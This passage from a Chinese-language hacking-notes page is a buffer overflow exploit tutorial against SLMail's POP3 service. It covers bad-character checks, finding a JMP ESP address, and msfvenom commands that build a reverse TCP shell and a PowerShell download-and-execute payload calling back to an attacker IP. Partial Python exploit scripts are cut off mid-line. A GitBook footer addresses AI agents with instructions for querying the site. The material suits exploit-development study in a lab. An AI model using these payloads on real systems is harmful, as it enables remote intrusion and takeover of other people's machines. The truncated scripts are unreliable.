!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
\*然后我们再次更新 bytearray：
```
!mona bytearray -cpb '/x00/x0a/x0d'
```
* 如果我们再次执行，就不再出现错误：
## 寻找用于访问 ESP 并加载我们的 Shellcode 的 OpCode：
{% hint style="success" %}
生成 shellcode 并识别 badchars 之后，将执行流重定向到 shellcode。目标是用一个包含以下内容的内存地址覆盖 EIP `JMP ESP` 指令，因为 shellcode 位于 ESP 中，而 EIP 无法可靠地直接指向它。使用诸如 `mona.py` 来在已加载模块中搜索可用的 `JMP ESP` 操作码。一旦找到该地址，就将其放入 EIP 中，使执行跳转到 ESP 并运行 shellcode。
{% endhint %}
* 下面的命令生成一个 Windows x86 shellcode，使用反向 TCP 连接到 IP 地址 192.168.71.128 的 443 端口，采用 shikata/\_ga/\_nai 编码，并排除 badcharts。
```css
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* 现在，使用 **!mona modules** 命令，我们将搜索一个未受保护、其值为 false 的模块：
* 我们要寻找的是 jmp esp，它对应的字节码是 "/xFF/xE4"：
* 使用以下命令，我们应选择其中一个没有保护且没有 Bad char 的模块：
* 在这种情况下我们选择最后一个，也就是 "0x5f4c4d13"。我们将创建一个断点来检查程序流是否正确经过它：
* 使用这个脚本，我们就能把 EIP 改成我们想要的值：
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
* 现在，如果我们跟踪 ESP 的转储，shellcode 就会被显示出来：
## 使用 NOP、栈布局和 Shellcode 解释来获得 RCE（远程代码执行）。
* 它没有被正确解析：
* 现在让我们按以下方式向脚本中添加这个 NOP：
* 最终脚本：
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
## 修改 Shellcode 以控制你可以执行的命令：
{% hint style="success" %}
除了反向 shell 载荷之外， `windows/exec` 载荷可以通过 `CMD` 选项直接嵌入命令。这会生成在运行时执行所选命令的 shellcode。使用 `msfvenom -p windows/exec CMD=""`，然后使用相同的缓冲区溢出技术覆盖 EIP 并将执行重定向到 shellcode。
{% endhint %}
* 下载此文件 [脚本 ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)并将其命名为 PS.ps1
将这段内容添加到脚本末尾： `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443`
* 生成 shellcode：
```bash
msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* 更新后的脚本：
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.